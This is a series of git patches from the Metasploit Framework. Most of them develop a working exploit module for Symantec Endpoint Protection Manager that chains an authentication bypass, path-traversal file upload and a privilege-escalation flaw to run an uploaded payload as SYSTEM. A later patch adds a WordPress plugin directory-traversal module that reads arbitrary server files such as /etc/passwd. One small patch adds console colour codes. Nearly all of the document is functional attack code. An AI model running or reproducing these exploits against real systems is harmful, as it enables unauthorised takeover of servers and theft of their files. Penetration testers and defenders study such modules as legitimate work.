Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Symantec Endpoint Protection Manager Auth Bypass and RCE", + 'Description' => %q{ + This module exploits two separate vulnerabilities in Symantec Endpoint Protection Manager + in order to achieve a remote shell on the box. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bperry', #metasploit module + 'CodeWhiteSec' #discovery + ], + 'References' => + [ + ['CVE', '2015-1486'], + ['CVE', '2015-1487'], + ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] + ], + 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { + 'Arch' => ARCH_X86, + 'Payload' => { + 'DisableNops' => true + } + } ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jul 31 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [true, 'The path of the web application', '/']), + ], self.class) + end + + def exploit + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), + 'method' => 'POST', + 'vars_post' => { + 'ActionType' => 'ResetPassword', + 'UserID' => 'admin', + 'Domain' => '' + } + }) + + cookie = res.get_cookies + + p cookie + exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\fdsa.exe").getInputStream()).useDelimiter("\\\\A").next()%>' + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), + 'method' => 'POST', + 'vars_get' => { + 'ActionType' => 'BinaryFile', + 'Action' => 'UploadPackage', + 'PackageFile' => '../../../tomcat/webapps/ROOT/fdsa.exe', + 'KnownHosts' => '.' + }, + 'data' => payload.encoded_exe, + 'cookie' => cookie, + 'ctype' => '' + }) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), + 'method' => 'POST', + 'vars_get' => { + 'ActionType' => 'BinaryFile', + 'Action' => 'UploadPackage', + 'PackageFile' => '../../../tomcat/webapps/ROOT/rewq.jsp', + 'KnownHosts' => '.' + }, + 'data' => exec, + 'cookie' => cookie, + 'ctype' => '' + }) + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'rewq.jsp') + }) + end +end From 2bfc8e59be106124fa49ac08cbccd7f684204a7f Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 16:43:31 -0500 Subject: [PATCH 0214/2172] remove printline --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index ead0c20bc8..e74a2e6018 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -65,7 +65,6 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies - p cookie exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\fdsa.exe").getInputStream()).useDelimiter("\\\\A").next()%>' res = send_request_cgi({ From 47e86000eeb676a94add3c3021c52a79eae13269 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 16:50:06 -0500 Subject: [PATCH 0215/2172] randomize the file names --- .../exploits/windows/http/sepm_auth_bypass_rce.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index e74a2e6018..ebdcfdceec 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -53,6 +53,10 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + + meterp = Rex::Text.rand_text_alpha(10) + jsp = Rex::Text.rand_text_alpha(10) + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -65,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies - exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\fdsa.exe").getInputStream()).useDelimiter("\\\\A").next()%>' + exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>' res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), @@ -73,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_get' => { 'ActionType' => 'BinaryFile', 'Action' => 'UploadPackage', - 'PackageFile' => '../../../tomcat/webapps/ROOT/fdsa.exe', + 'PackageFile' => "../../../tomcat/webapps/ROOT/#{meterp}.exe", 'KnownHosts' => '.' }, 'data' => payload.encoded_exe, @@ -87,7 +91,7 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_get' => { 'ActionType' => 'BinaryFile', 'Action' => 'UploadPackage', - 'PackageFile' => '../../../tomcat/webapps/ROOT/rewq.jsp', + 'PackageFile' => "../../../tomcat/webapps/ROOT/#{jsp}.jsp", 'KnownHosts' => '.' }, 'data' => exec, @@ -96,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote }) res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'rewq.jsp') + 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") }) end end From de47f4752be831f29def7214c47f81f261bd9d3e Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Sat, 1 Aug 2015 18:54:01 -0300 Subject: [PATCH 0216/2172] Added feature to add color background (Prompt) --- lib/rex/ui/text/color.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/lib/rex/ui/text/color.rb b/lib/rex/ui/text/color.rb index e5265f53c2..1a412d53ed 100644 --- a/lib/rex/ui/text/color.rb +++ b/lib/rex/ui/text/color.rb @@ -75,6 +75,15 @@ module Color str.gsub!(/%und/, pre_color+colorize('underline')+post_color) str.gsub!(/%bld/, pre_color+colorize('bold')+post_color) str.gsub!(/%clr/, pre_color+colorize('clear')+post_color) + # Background Color + str.gsub!(/%bgblu/, pre_color+colorize('on_blue')+post_color) + str.gsub!(/%bgyel/, pre_color+colorize('on_yellow')+post_color) + str.gsub!(/%bggrn/, pre_color+colorize('on_green')+post_color) + str.gsub!(/%bgmag/, pre_color+colorize('on_magenta')+post_color) + str.gsub!(/%bgblk/, pre_color+colorize('on_black')+post_color) + str.gsub!(/%bgred/, pre_color+colorize('on_red')+post_color) + str.gsub!(/%bgcyn/, pre_color+colorize('on_cyan')+post_color) + str.gsub!(/%bgwhi/, pre_color+colorize('on_white')+post_color) str end From 272d75e437fc2a0ea45f89f6892491880a28a857 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 17:58:41 -0500 Subject: [PATCH 0217/2172] check res before calling get_cookies --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index ebdcfdceec..02da508571 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -67,6 +67,10 @@ class Metasploit3 < Msf::Exploit::Remote } }) + unless res + fail_with(Failure::Unknown, 'The server did not respond in an expected way') + end + cookie = res.get_cookies exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>' From e70ec8c07b69f3c253d8af719b110a7e7d5cb6df Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sat, 1 Aug 2015 18:00:35 -0500 Subject: [PATCH 0218/2172] no need to store res for the later requests --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 02da508571..74002283de 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>' - res = send_request_cgi({ + send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) - res = send_request_cgi({ + send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) - res = send_request_cgi({ + send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") }) end From 12ac6d81fad1be2b310f6ef0d860d6c733c59536 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 08:17:12 -0500 Subject: [PATCH 0219/2172] add markus as the discoverer specifically --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 74002283de..d4016a267d 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'bperry', #metasploit module - 'CodeWhiteSec' #discovery + 'Markus Wulftange' #discovery ], 'References' => [ From a33dff637d7219f67e6bf138b56d0b4e6a8d9e28 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 08:31:03 -0500 Subject: [PATCH 0220/2172] exploit cve 2015-1489 to get SYSTEM --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index d4016a267d..a66b8a9fa8 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -15,8 +15,8 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => "Symantec Endpoint Protection Manager Auth Bypass and RCE", 'Description' => %q{ - This module exploits two separate vulnerabilities in Symantec Endpoint Protection Manager - in order to achieve a remote shell on the box. + This module exploits three separate vulnerabilities in Symantec Endpoint Protection Manager + in order to achieve a remote shell on the box as NT AUTHORITY\SYSTEM }, 'License' => MSF_LICENSE, 'Author' => @@ -28,6 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2015-1486'], ['CVE', '2015-1487'], + ['CVE', '2015-1489'], ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] ], 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, @@ -41,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote } } ], ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => 'Jul 31 2015', 'DefaultTarget' => 0)) @@ -73,7 +74,9 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies - exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>' + exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%> +<%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> + } send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), From f7ceec36d0ea0c447b018a7df7665c2846bd81c5 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 08:59:36 -0500 Subject: [PATCH 0221/2172] set default RPORT and SSL --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index a66b8a9fa8..a3804cd1aa 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -32,6 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] ], 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, + 'DefaultOptions' => { + 'SSL' => true + }, 'Platform' => 'win', 'Targets' => [ @@ -48,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptBool.new('SSL', [true, 'Use SSL', true]), + Opt::RPORT(8443), OptString.new('TARGETURI', [true, 'The path of the web application', '/']), ], self.class) end From fe20bc88ad3222f9293981c57d38c5767af58b54 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 11:37:06 -0500 Subject: [PATCH 0222/2172] remove badchars --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index a3804cd1aa..741b216e60 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2015-1489'], ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] ], - 'Payload' => { 'BadChars' => "\x0d\x0a\x00" }, + 'Payload' => { 'BadChars' => "" }, 'DefaultOptions' => { 'SSL' => true }, From a534008ba67bb00f0176b5633826278f0493ca20 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 15:03:59 -0500 Subject: [PATCH 0223/2172] add some status lines --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 741b216e60..5a3b39fe0e 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -61,6 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote meterp = Rex::Text.rand_text_alpha(10) jsp = Rex::Text.rand_text_alpha(10) + print_status("Getting cookie") + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -81,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> } + print_status("Uploading payload...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -95,6 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) + print_status("Uploading JSP page to execute the payload...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', @@ -109,6 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => '' }) + print_status("Executing payload. Manual cleanup will be required.") send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") }) From 830aee8aa5008689f51cc1bd963938f89d9f909a Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 15:22:40 -0500 Subject: [PATCH 0224/2172] check if cookie is actually returned, and if not, fail --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 5a3b39fe0e..20516f8a20 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -79,6 +79,10 @@ class Metasploit3 < Msf::Exploit::Remote cookie = res.get_cookies + if not cookie || cookie == '' + fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.') + end + exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%> <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> } From a33724667c896b5341b850c3bf2844ab7b9fdfec Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 16:36:41 -0500 Subject: [PATCH 0225/2172] small code cleanup --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 20516f8a20..63c4893eb1 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -5,11 +5,10 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, @@ -31,7 +30,6 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2015-1489'], ['URL', 'http://codewhitesec.blogspot.com/2015/07/symantec-endpoint-protection.html'] ], - 'Payload' => { 'BadChars' => "" }, 'DefaultOptions' => { 'SSL' => true }, @@ -57,7 +55,6 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - meterp = Rex::Text.rand_text_alpha(10) jsp = Rex::Text.rand_text_alpha(10) From 527eaea6ecc058fdaaa6c03a4cc3900309144aa7 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 18:25:17 -0500 Subject: [PATCH 0226/2172] single quotes and some error handling --- .../windows/http/sepm_auth_bypass_rce.rb | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 63c4893eb1..9ee34b77a0 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -84,8 +84,8 @@ class Metasploit4 < Msf::Exploit::Remote <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> } - print_status("Uploading payload...") - send_request_cgi({ + print_status('Uploading payload...') + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { @@ -99,8 +99,12 @@ class Metasploit4 < Msf::Exploit::Remote 'ctype' => '' }) + unless res && res.code == 200 + fail_with(Failure::Unknown, 'Server did not respond in an expected way') + end + print_status("Uploading JSP page to execute the payload...") - send_request_cgi({ + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'method' => 'POST', 'vars_get' => { @@ -114,7 +118,11 @@ class Metasploit4 < Msf::Exploit::Remote 'ctype' => '' }) - print_status("Executing payload. Manual cleanup will be required.") + unless res && res.code == 200 + fail_with(Failure::Unknown, 'Server did not respond in an expected way.') + end + + print_status('Executing payload. Manual cleanup will be required.') send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") }) From 06754c36a4346afacdb616f86a585bbd7431ad06 Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 18:51:23 -0500 Subject: [PATCH 0227/2172] unless, not if not --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 9ee34b77a0..4e27acc1a1 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -76,7 +76,7 @@ class Metasploit4 < Msf::Exploit::Remote cookie = res.get_cookies - if not cookie || cookie == '' + unless cookie || cookie == '' fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.') end From 74ed8cf0c96a2b1d271ea64ec8555b5f154de9ec Mon Sep 17 00:00:00 2001 From: Brandon Perry <bperry.volatile@gmail.com> Date: Sun, 2 Aug 2015 18:57:13 -0500 Subject: [PATCH 0228/2172] actually that didn't work --- modules/exploits/windows/http/sepm_auth_bypass_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb index 4e27acc1a1..06e9a54757 100644 --- a/modules/exploits/windows/http/sepm_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sepm_auth_bypass_rce.rb @@ -76,7 +76,7 @@ class Metasploit4 < Msf::Exploit::Remote cookie = res.get_cookies - unless cookie || cookie == '' + if cookie == nil || cookie == '' fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.') end From 514849bcdc6a645a59c8da20d99a9b6562dbe7dd Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Sun, 2 Aug 2015 21:24:52 -0300 Subject: [PATCH 0229/2172] Added WP Subscribe Comments File Read Vuln - Functional. --- .../http/wp_subscribe_comments_file_read.rb | 171 ++++++++++++++++++ 1 file changed, 171 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb new file mode 100644 index 0000000000..76a7a24e53 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Subscribe Comments File Read Vulnerability', + 'Description' => %q{ + This module exploits a authenticated directory traversal vulnerability + in WordPress Plugin "Subscribe to Comments" version 2.1.2, allowing + to read arbitrary files with the web server privileges. + }, + 'References' => + [ + ['WPVDB', '8102'] + ], + 'Author' => + [ + 'Tom Adams <security[at]dxw.com>', # Vulnerability Discovery + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('WP_USER', [true, 'A valid username', nil]), + OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]), + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) + ], self.class) + end + + def user + datastore['WP_USER'] + end + + def password + datastore['WP_PASS'] + end + + def check + check_plugin_version_from_readme('subscribe-to-comments', '2.3') + end + + def get_nonce(cookie) + res = send_request_cgi( + 'uri' => normalize_uri(wordpress_url_backend, 'options-general.php'), + 'method' => 'GET', + 'vars_get' => { + 'page' => 'stc-options' + }, + 'cookie' => cookie + ) + + if res && res.redirect? && res.redirection + location = res.redirection + print_status("#{peer} - Following redirect to #{location}") + res = send_request_cgi( + 'uri' => location, + 'method' => 'GET', + 'cookie' => cookie + ) + end + + if res && res.body && res.body =~ /id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)" / + return Regexp.last_match[1] + end + nil + end + + def down_file(cookie, nonce) + filename = datastore['FILEPATH'] + filename = filename[1, filename.length] if filename =~ %r{/^///} + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend, 'options-general.php'), + 'vars_get' => { + 'page' => 'stc-options' + }, + 'vars_post' => { + 'sg_subscribe_settings[name]' => '', + 'sg_subscribe_settings[email]' => '', + 'sg_subscribe_settings[clear_both]' => 'clear_both', + 'sg_subscribe_settings[not_subscribed_text]' => 'teste', + 'sg_subscribe_settings[subscribed_text]' => 'teste', + 'sg_subscribe_settings[author_text]' => '', + 'sg_subscribe_settings[use_custom_style]' => 'use_custom_style', + 'sg_subscribe_settings[header]' => "#{filename}", + 'sg_subscribe_settings[sidebar]' => '', + 'sg_subscribe_settings[footer]' => '', + 'sg_subscribe_settings[before_manager]' => '', + 'sg_subscribe_settings[after_manager]' => '', + 'sg_subscribe_settings_submit' => 'Update Options', + '_wpnonce' => "#{nonce}", + '_wp_http_referer' => '/wp-admin/options-general.php?page=stc-options' + }, + 'cookie' => cookie + ) + + if res && res.code == 200 && res.body.include?("<p><strong>Options saved.</strong>") + return res.body + end + nil + end + + def run_host(ip) + vprint_status("#{peer} - Trying to login as: #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as: #{user}") + return + end + + vprint_status("#{peer} - Trying to get nonce...") + nonce = get_nonce(cookie) + if nonce.nil? + print_error("#{peer} - Can not get nonce after login") + return + end + vprint_status("#{peer} - Got nonce: #{nonce}") + + vprint_status("#{peer} - Trying to download filepath.") + file_path = down_file(cookie, nonce) + if file_path.nil? + print_error("#{peer} - Error downloading filepath.") + return + end + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + 'wp-subscription-manager' => '1' + }, + 'cookie' => cookie + ) + + if res && res.code == 200 && + res.body.length > 830 && + res.body.include?(">Find Subscriptions</") && + res.headers['Content-Length'].to_i > 830 + + res_clean = res.body.gsub(/\t/, '').gsub(/\r\n/, '').gsub(/<.*$/, "") + + vprint_line("\n#{res_clean}") + fname = datastore['FILEPATH'] + path = store_loot( + 'subscribecomments.traversal', + 'text/plain', + ip, + res_clean, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded. You can try to change the FILEPATH.") + end + end +end From e59e4828e464f9604cdf5e475865f18789890fec Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Sun, 2 Aug 2015 22:56:17 -0300 Subject: [PATCH 0230/2172] Removed unnecessary DEPTH option. --- .../auxiliary/scanner/http/wp_subscribe_comments_file_read.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb index 76a7a24e53..52bda5f290 100644 --- a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb @@ -35,8 +35,7 @@ class Metasploit3 < Msf::Auxiliary [ OptString.new('WP_USER', [true, 'A valid username', nil]), OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]), - OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']), - OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]) + OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']) ], self.class) end From d221e9d96126bd4a17b1ffb80c512f12b7aacade Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Mon, 3 Aug 2015 02:46:54 -0300 Subject: [PATCH 0231/2172] Added more references. --- .../auxiliary/scanner/http/wp_subscribe_comments_file_read.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb index 52bda5f290..3e185a492f 100644 --- a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb +++ 